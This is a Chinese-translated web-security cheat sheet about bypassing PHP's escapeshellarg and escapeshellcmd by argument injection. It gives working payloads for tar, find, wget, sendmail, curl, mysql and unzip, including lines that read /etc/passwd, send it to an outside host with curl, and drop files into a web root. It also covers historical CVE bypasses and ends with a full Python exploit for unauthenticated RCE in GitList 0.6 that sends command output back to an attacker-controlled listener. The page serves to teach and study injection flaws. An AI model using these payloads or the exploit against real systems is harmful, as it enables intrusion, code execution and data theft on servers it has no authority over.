利用/绕过PHP escapeshellarg / escapeshellcmd函数

NNN4cy WEB安全 2018-04-26

930 0 0

介绍

TL; DR：如何利用/绕过/使用PHP escapeshellarg / escapeshellcmd函数。

我创建了这个简单的备忘单，因为GitList 0.6 Unauthenticated RCE，因此您可以轻松理解它是如何工作的。

注意：这是一个简单的清单，其中包含易于理解的示例，因此它不包含有关escapeshell *函数的所有/全面的详细信息。

该文档也可在GitHub上获得。

什么escapeshellarg和escapeshellcmd真的吗？

功能	描述
escapeshellcmd	确保用户只执行一个命令用户可以指定不限数量的参数用户不能执行不同的命令
escapeshellarg	确保用户只传递一个参数给命令用户不能指定更多的参数一个用户不能执行不同的命令

例。Let't使用组用于打印的组成员的每个用户名。

$username = <span class="hljs-string">'myuser'</span>;
system(<span class="hljs-string">'groups '</span>.$username);
=&gt;
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

$username = 'myuser';

system('groups '.$username);

myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

但攻击者可以使用;或||内部$username。

在Linux上这意味着第二个命令将在第一个命令后执行：

$username = <span class="hljs-string">'myuser;id'</span>;
system(<span class="hljs-string">'groups '</span>.$username);
=&gt;
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=<span class="hljs-number">33</span>(www-data) gid=<span class="hljs-number">33</span>(www-data) groups=<span class="hljs-number">33</span>(www-data)

$username = 'myuser;id';

system('groups '.$username);

myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

uid=33(www-data) gid=33(www-data) groups=33(www-data)

为了防止这一点，我们正在使用escapeshellcmd。

现在攻击者无法运行第二个命令。

$username = <span class="hljs-string">'myuser;id'</span>;
<span class="hljs-comment">// escapeshellcmd adds \ before ;</span>
system(escapeshellcmd(<span class="hljs-string">'groups '</span>.$username));
=&gt;
(nothing)

$username = 'myuser;id';

// escapeshellcmd adds \ before ;

system(escapeshellcmd('groups '.$username));

(nothing)

为什么？因为PHP内部运行这个命令：

$ groups myuser\;id
groups: „myuser;id”: no such user

$ groups myuser\;id

groups: „myuser;id”: no such user

myuser\;id 被视为单个字符串。

但是在这种方法中，攻击者可以指定更多参数groups。

例如，他可以一次检查多个用户：

$username = <span class="hljs-string">'myuser1 myuser2'</span>;
system(<span class="hljs-string">'groups '</span>.$username);
=&gt;
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo

$username = 'myuser1 myuser2';

system('groups '.$username);

myuser1 : myuser1 adm cdrom sudo

myuser2 : myuser2 adm cdrom sudo

假设我们希望允许每个脚本执行仅检查一个用户：

$username = <span class="hljs-string">'myuser1 myuser2'</span>;
system(<span class="hljs-string">'groups '</span>.escapeshellarg($username));
=&gt;
(noting)

$username = 'myuser1 myuser2';

system('groups '.escapeshellarg($username));

(noting)

为什么？因为现在$username被视为单个参数：

$ groups <span class="hljs-string">'myuser1 myuser2'</span>
groups: <span class="hljs-string">"myuser1 myuser2"</span>: <span class="hljs-literal">no</span> such user

$ groups 'myuser1 myuser2'

groups: "myuser1 myuser2": no such user

已知绕过/利用

当你想利用这些功能时，你有两个选择：

如果PHP版本非常老，你可以尝试一个历史漏洞，
否则你需要尝试参数注入技术。

参数注射

从上一章可以看到，使用escapeshellcmd / escapeshellarg时不可能执行第二个命令。

但是我们仍然可以将参数传递给第一个命令。

这意味着我们也可以将新选项传递给命令。

利用漏洞的能力取决于目标可执行文件。

您可以在下面找到一些已知可执行文件的列表，其中包含一些可能被滥用的特定选项。

TAKE

压缩some_file成/tmp/sth。

$command = <span class="hljs-string">'-cf /tmp/sth /some_file'</span>;
system(escapeshellcmd(<span class="hljs-string">'tar '</span>.$command));

$command = '-cf /tmp/sth /some_file';

system(escapeshellcmd('tar '.$command));

创建空/tmp/exploit文件。

$command = <span class="hljs-string">"--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd"</span>;
system(escapeshellcmd(<span class="hljs-string">'tar '</span>.$command));

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";

system(escapeshellcmd('tar '.$command));

查找

查找some_file里面/tmp的目录。

$file = <span class="hljs-string">"some_file"</span>;
system(<span class="hljs-string">"find /tmp -iname "</span>.escapeshellcmd($file));

$file = "some_file";

system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd内容。

$file = <span class="hljs-string">"sth -or -exec cat /etc/passwd ; -quit"</span>;
system(<span class="hljs-string">"find /tmp -iname "</span>.escapeshellcmd($file));

$file = "sth -or -exec cat /etc/passwd ; -quit";

system("find /tmp -iname ".escapeshellcmd($file));

带escapeshellarg的Escapeshellcmd

在这个配置中，我们可以传递第二个参数给函数。

在/tmpdir中列出文件并忽略sth。

$arg = <span class="hljs-string">"sth"</span>;
system(escapeshellcmd(<span class="hljs-string">"ls --ignore="</span>.escapeshellarg($arg).<span class="hljs-string">' /tmp'</span>));

$arg = "sth";

system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

在/tmpdir中列出文件并忽略sth。使用长列表格式。

$arg = <span class="hljs-string">"sth' -l "</span>;
<span class="hljs-comment">// ls --ignore='exploit'\\'' -l \' /tmp</span>
system(escapeshellcmd(<span class="hljs-string">"ls --ignore="</span>.escapeshellarg($arg).<span class="hljs-string">' /tmp'</span>));

$arg = "sth' -l ";

// ls --ignore='exploit'\\'' -l \' /tmp

system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

WGET

下载example.php。

$url = <span class="hljs-string">'http://example.com/example.php'</span>;
system(escapeshellcmd(<span class="hljs-string">'wget '</span>.$url));

$url = 'http://example.com/example.php';

system(escapeshellcmd('wget '.$url));

将.php文件保存到特定目录：

$url = <span class="hljs-string">'--directory-prefix=/var/www/html http://example.com/example.php'</span>;
system(escapeshellcmd(<span class="hljs-string">'wget '</span>.$url));

$url = '--directory-prefix=/var/www/html http://example.com/example.php';

system(escapeshellcmd('wget '.$url));

命令使用.bat执行

打印里面的文件列表somedir。

$dir = <span class="hljs-string">"somedir"</span>;
file_put_contents(<span class="hljs-string">'out.bat'</span>, escapeshellcmd(<span class="hljs-string">'dir '</span>.$dir));
system(<span class="hljs-string">'out.bat'</span>);

$dir = "somedir";

file_put_contents('out.bat', escapeshellcmd('dir '.$dir));

system('out.bat');

同时执行whoami命令。

$dir = <span class="hljs-string">"somedir \x1a whoami"</span>;
file_put_contents(<span class="hljs-string">'out.bat'</span>, escapeshellcmd(<span class="hljs-string">'dir '</span>.$dir));
system(<span class="hljs-string">'out.bat'</span>);

$dir = "somedir \x1a whoami";

file_put_contents('out.bat', escapeshellcmd('dir '.$dir));

system('out.bat');

请参阅：如何将参数传递给Windows上的新进程。

发送邮件

发送mail.txt。将信封发件人地址设置为from@sth.com

$from = <span class="hljs-string">'from@sth.com'</span>;
system(<span class="hljs-string">"/usr/sbin/sendmail -t -i -f"</span>.escapeshellcmd($from ).<span class="hljs-string">' &lt; mail.txt'</span>);

$from = 'from@sth.com';

system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd内容。

$from = <span class="hljs-string">'from@sth.com -C/etc/passwd -X/tmp/output.txt'</span>;
system(<span class="hljs-string">"/usr/sbin/sendmail -t -i -f"</span>.escapeshellcmd($from ).<span class="hljs-string">' &lt; mail.txt'</span>);

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';

system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

卷曲

下载http://example.com内容。

$url = <span class="hljs-string">'http://example.com'</span>;
system(escapeshellcmd(<span class="hljs-string">'curl '</span>.$url));

$url = 'http://example.com';

system(escapeshellcmd('curl '.$url));

发送/etc/passwd内容到http://example.com。

$url = <span class="hljs-string">'-F password=@/etc/passwd http://example.com'</span>;
system(escapeshellcmd(<span class="hljs-string">'curl '</span>.$url));

$url = '-F password=@/etc/passwd http://example.com';

system(escapeshellcmd('curl '.$url));

您可以使用以下方式获取文件

file_put_contents(<span class="hljs-string">'passwords.txt'</span>, file_get_contents($_FILES[<span class="hljs-string">'password'</span>][<span class="hljs-string">'tmp_name'</span>]));

1 2	file_put_contents(<span class="hljs-string">'passwords.txt'</span>, file_get_contents($_FILES[<span class="hljs-string">'password'</span>][<span class="hljs-string">'tmp_name'</span>]));

MYSQL

执行sql语句：

$sql = <span class="hljs-string">'SELECT sth FROM table'</span>;
system(<span class="hljs-string">"mysql -uuser -ppassword -e "</span>.escapeshellarg($sql));

$sql = 'SELECT sth FROM table';

system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

运行id命令。

$sql = <span class="hljs-string">'\! id'</span>;
system(<span class="hljs-string">"mysql -uuser -ppassword -e "</span>.escapeshellarg($sql));

$sql = '\! id';

system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

将所有*.tmp文件解压缩archive.zip到/tmp目录中。

$zip_name = <span class="hljs-string">'archive.zip'</span>;
<span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">'unzip -j '</span>.$zip_name.<span class="hljs-string">' *.txt -d /aa/1'</span>));

$zip_name = 'archive.zip';

system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

将所有*.tmp文件解压缩archive.zip到/var/www/html目录中。

$zip_name = <span class="hljs-string">'-d /var/www/html archive.zip'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'unzip -j '</span>.escapeshellarg($zip_name).<span class="hljs-string">' *.tmp -d /tmp'</span>);

$zip_name = '-d /var/www/html archive.zip';

system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

如果未设置LANG环境变量，则去除非ASCII字符

$filename = <span class="hljs-string">'résumé.pdf'</span>;
<span class="hljs-regexp">//</span> string(<span class="hljs-number">10</span>) <span class="hljs-string">"'rsum.pdf'"</span>
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, <span class="hljs-string">'en_US.utf8'</span>);
<span class="hljs-regexp">//string</span>(<span class="hljs-number">14</span>) <span class="hljs-string">"'résumé.pdf'"</span> 
var_dump(escapeshellarg($filename));

$filename = 'résumé.pdf';

// string(10) "'rsum.pdf'"

var_dump(escapeshellarg($filename));

setlocale(LC_CTYPE, 'en_US.utf8');

//string(14) "'résumé.pdf'"

var_dump(escapeshellarg($filename));

历史的利用

1. Windows上的PHP <= 4.3.6 - CVE-2004-0542

$find = <span class="hljs-string">'word'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'FIND /C /I '</span>.escapeshellarg($find).<span class="hljs-string">' c:\\where\\'</span>);

$find = 'word';

system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');

运行dir命令。

$find = <span class="hljs-string">'word " c:\\where\\ || dir || '</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'FIND /C /I '</span>.escapeshellarg($find).<span class="hljs-string">' c:\\where\\'</span>);

$find = 'word " c:\\where\\ || dir || ';

system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');

2. PHP 4 <= 4.4.8和PHP 5 <= 5.2.5 - CVE-2008-2051

Shell需要使用GBK，EUC-KR，SJIS等可变宽度字符集的语言环境。

$text = <span class="hljs-string">"sth"</span>;
<span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">"echo "</span>.$text));

$text = "sth";

system(escapeshellcmd("echo ".$text));

$text = <span class="hljs-string">"sth \xc0; id"</span>;
<span class="hljs-keyword">system</span>(escapeshellcmd(<span class="hljs-string">"echo "</span>.$text));

$text = "sth \xc0; id";

system(escapeshellcmd("echo ".$text));

要么

$text1 = <span class="hljs-string">'word'</span>;
$text2 = <span class="hljs-string">'word2'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'echo '</span>.escapeshellarg($text1).<span class="hljs-string">' '</span>.escapeshellarg($text2));

$text1 = 'word';

$text2 = 'word2';

system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

$text1 = <span class="hljs-string">"word \xc0"</span>;
$text2 = <span class="hljs-string">"; id ; #"</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'echo '</span>.escapeshellarg($text1).<span class="hljs-string">' '</span>.escapeshellarg($text2));

$text1 = "word \xc0";

$text2 = "; id ; #";

system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

3. 在5.5.26之前的PHP <5.4.42,5.5.x，在Windows的5.6.10之前的5.6.x - CVE-2015-4642

传递额外的第三个参数(--param3)。

$a = <span class="hljs-string">'param1_value'</span>;
$b = <span class="hljs-string">'param2_value'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'my_command --param1 '</span> . escapeshellarg($a) . <span class="hljs-string">' --param2 '</span> . escapeshellarg($b));

$a = 'param1_value';

$b = 'param2_value';

system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

$a = <span class="hljs-string">'a\\'</span>;
$b = <span class="hljs-string">'b -c --param3\\'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'my_command --param1 '</span> . escapeshellarg($a) . <span class="hljs-string">' --param2 '</span> . escapeshellarg($b));

$a = 'a\\';

$b = 'b -c --param3\\';

system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

4. 7.0.2之前的PHP 7.x - CVE-2016-1904

如果将1024mb字符串传递给escapeshellarg或，则基于堆的缓冲区溢出escapeshellcmd。

5. 在Windows上，PHP 5.4.x <5.4.43 / 5.5.x <5.5.27 / 5.6.x <5.6.11

启用EnableDelayedExpansion后，展开一些环境变量。

然后!STH!类似于%STH%。

escapeshellarg不消毒!字符。

EnableDelayedExpansion可以在HKLM或HKCU下的注册表中设置：

[<span class="hljs-meta">HKEY_CURRENT_USER\Software\Microsoft\Command Processor</span>]
<span class="hljs-string">"DelayedExpansion"</span>= (REG_DWORD)
<span class="hljs-number">1</span>=enabled <span class="hljs-number">0</span>=disabled (<span class="hljs-keyword">default</span>)

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]

"DelayedExpansion"= (REG_DWORD)

1=enabled 0=disabled (default)

例：

<span class="hljs-comment">// Leak appdata dir value</span>
$text = <span class="hljs-string">'!APPDATA!'</span>;
<span class="hljs-keyword">print</span> <span class="hljs-string">"echo "</span>.escapeshellarg($text);

// Leak appdata dir value

$text = '!APPDATA!';

print "echo ".escapeshellarg($text);

6. PHP <5.6.18

中定义的功能ext/standard/exec.c，其与串（工作escapeshellcmd，eschapeshellarg，shell_exec），所有忽略PHP字符串的长度，并用NULL终止工作代替。

<span class="hljs-keyword">echo</span> escapeshellarg(<span class="hljs-string">"hello\0world"</span>);
=&gt;
hello

echo escapeshellarg("hello\0world");

hello

GitList RCE漏洞利用

文件：src / Git / Repository.php

<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">searchTree</span><span class="hljs-params">($query, $branch)</span>
</span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($query)) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
    }

    $query = escapeshellarg($query);

    <span class="hljs-keyword">try</span> {
        $results = <span class="hljs-keyword">$this</span>-&gt;getClient()-&gt;run(<span class="hljs-keyword">$this</span>, <span class="hljs-string">"grep -i --line-number {$query} $branch"</span>);
    } <span class="hljs-keyword">catch</span> (\RuntimeException $e) {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>;
    }
}

public function searchTree($query, $branch)

{

if (empty($query)) {

return null;

}

$query = escapeshellarg($query);

try {

$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");

} catch (\RuntimeException $e) {

return false;

}

简化：

$query = <span class="hljs-string">'sth'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'git grep -i --line-number '</span>.escapeshellarg($query).<span class="hljs-string">' *'</span>);

$query = 'sth';

system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们检查git grep文档时：

--open-files-<span class="hljs-keyword">in</span>-pager[=&lt;pager&gt;]
Open the matching files <span class="hljs-keyword">in</span> the pager (<span class="hljs-keyword">not</span> the output <span class="hljs-keyword">of</span> grep). If the pager happens to be <span class="hljs-string">"less"</span> <span class="hljs-keyword">or</span> <span class="hljs-string">"vi"</span>, <span class="hljs-keyword">and</span> the user specified only one pattern, the first file <span class="hljs-keyword">is</span> positioned at the first match automatically.

--open-files-in-pager[=<pager>]

Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

所以基本上--open-files-in-pager就像是-exec在工作find.

$query = <span class="hljs-string">'--open-files-in-pager=id;'</span>;
<span class="hljs-keyword">system</span>(<span class="hljs-string">'git grep -i --line-number '</span>.escapeshellarg($query).<span class="hljs-string">' *'</span>);

$query = '--open-files-in-pager=id;';

system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们把它放到控制台时：

$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
<span class="hljs-section">id;: 1: id;: README.md: not found</span>

$ git grep -i --line-number '--open-files-in-pager=id;' *

uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

id;: 1: id;: README.md: not found

最终的利用 - 下载：

<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> BaseHTTPServer <span class="hljs-keyword">import</span> BaseHTTPRequestHandler, HTTPServer
<span class="hljs-keyword">import</span> urlparse
<span class="hljs-keyword">import</span> urllib
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> re

url = <span class="hljs-string">'http://192.168.1.1/gitlist/'</span>
command = <span class="hljs-string">'id'</span>
your_ip = <span class="hljs-string">'192.168.1.100'</span>
your_port = <span class="hljs-number">8001</span>

<span class="hljs-keyword">print</span> <span class="hljs-string">"GitList 0.6 Unauthenticated RCE"</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"by Kacper Szurek"</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"https://security.szurek.pl/"</span>

<span class="hljs-keyword">print</span> <span class="hljs-string">"REMEMBER TO DISABLE FIREWALL"</span>

search_url = <span class="hljs-keyword">None</span>
r = requests.get(url)
repos = re.findall(<span class="hljs-string">r'/([^/]+)/master/rss'</span>, r.text)

<span class="hljs-keyword">if</span> len(repos) == <span class="hljs-number">0</span>:
	<span class="hljs-keyword">print</span> <span class="hljs-string">"[-] No repos"</span>
	os._exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">for</span> repo <span class="hljs-keyword">in</span> repos:
	<span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Found repo {}"</span>.format(repo)
	r = requests.get(<span class="hljs-string">"{}{}"</span>.format(url, repo))
	files = re.findall(<span class="hljs-string">r'href="[^\"]+blob/master/([^\"]+)"'</span>, r.text)
	<span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> files:
		r = requests.get(<span class="hljs-string">"{}{}/raw/master/{}"</span>.format(url, repo, file))
		<span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Found file {}"</span>.format(file)
		<span class="hljs-keyword">print</span> r.text[<span class="hljs-number">0</span>:<span class="hljs-number">100</span>]
		search_url = <span class="hljs-string">"{}{}/tree/{}/search"</span>.format(url, repo, r.text[<span class="hljs-number">0</span>:<span class="hljs-number">1</span>])		
		<span class="hljs-keyword">break</span>

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> search_url:
	<span class="hljs-keyword">print</span> <span class="hljs-string">"[-] No files in repo"</span>
	os._exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Search using {}"</span>.format(search_url)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GetHandler</span><span class="hljs-params">(BaseHTTPRequestHandler)</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do_GET</span><span class="hljs-params">(self)</span>:</span>
        parsed_path = urlparse.urlparse(self.path)
        <span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Command response"</span>
        <span class="hljs-keyword">print</span> urllib.unquote_plus(parsed_path.query).decode(<span class="hljs-string">'utf8'</span>)[<span class="hljs-number">2</span>:]
        self.send_response(<span class="hljs-number">200</span>)
        self.end_headers()
        self.wfile.write(<span class="hljs-string">"OK"</span>)
        os._exit(<span class="hljs-number">0</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">log_message</span><span class="hljs-params">(self, format, *args)</span>:</span>
        <span class="hljs-keyword">return</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit_server</span><span class="hljs-params">()</span>:</span>
	server = HTTPServer((your_ip, your_port), GetHandler)
	server.serve_forever()

<span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Start server on {}:{}"</span>.format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = <span class="hljs-keyword">True</span>
t.start()
<span class="hljs-keyword">print</span> <span class="hljs-string">"[+] Server started"</span>

r  = requests.post(search_url, data={<span class="hljs-string">'query'</span>:<span class="hljs-string">'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'</span>.format(your_ip, your_port, command)})

<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
    time.sleep(<span class="hljs-number">1</span>)

import requests

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

import urlparse

import urllib

import threading

import time

import os

import re

url = 'http://192.168.1.1/gitlist/'

command = 'id'

your_ip = '192.168.1.100'

your_port = 8001

print "GitList 0.6 Unauthenticated RCE"

print "by Kacper Szurek"

print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None

r = requests.get(url)

repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:

print "[-] No repos"

os._exit(0)

for repo in repos:

print "[+] Found repo {}".format(repo)

r = requests.get("{}{}".format(url, repo))

files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)

for file in files:

r = requests.get("{}{}/raw/master/{}".format(url, repo, file))

print "[+] Found file {}".format(file)

print r.text[0:100]

search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])

break

if not search_url:

print "[-] No files in repo"

os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):

def do_GET(self):

parsed_path = urlparse.urlparse(self.path)

print "[+] Command response"

print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]

self.send_response(200)

self.end_headers()

self.wfile.write("OK")

os._exit(0)

def log_message(self, format, *args):

return

def exploit_server():

server = HTTPServer((your_ip, your_port), GetHandler)

server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)

t = threading.Thread(target=exploit_server)

t.daemon = True

t.start()

print "[+] Server started"

r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})

while True:

time.sleep(1)

参考：https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html

本文由安全周翻译。转载请注明出处

WEB安全

利用/绕过PHP escapeshellarg / escapeshellcmd函数

介绍

目录

什么escapeshellarg和escapeshellcmd真的吗？

已知绕过/利用

参数注射

TAKE

查找

带escapeshellarg的Escapeshellcmd

WGET

命令使用.bat执行

发送邮件

卷曲

MYSQL

UNZIP

如果未设置LANG环境变量，则去除非ASCII字符

历史的利用

GitList RCE漏洞利用

NNN4cy

相关文章

DDOS导致Nginx 499状态码成因分析

Oauth 2.0之点我的链接就进入了你的账号

Intel的漏洞，怎么利用(CVE-2017-5689)

热评文章

最赞的文章

发表评论

WEB安全

介绍

目录

什么escapeshellarg和escapeshellcmd真的吗？

已知绕过/利用

参数注射

WGET

历史的利用

GitList RCE漏洞利用

NNN4cy

相关文章

热评文章

最赞的文章

发表评论

用户登录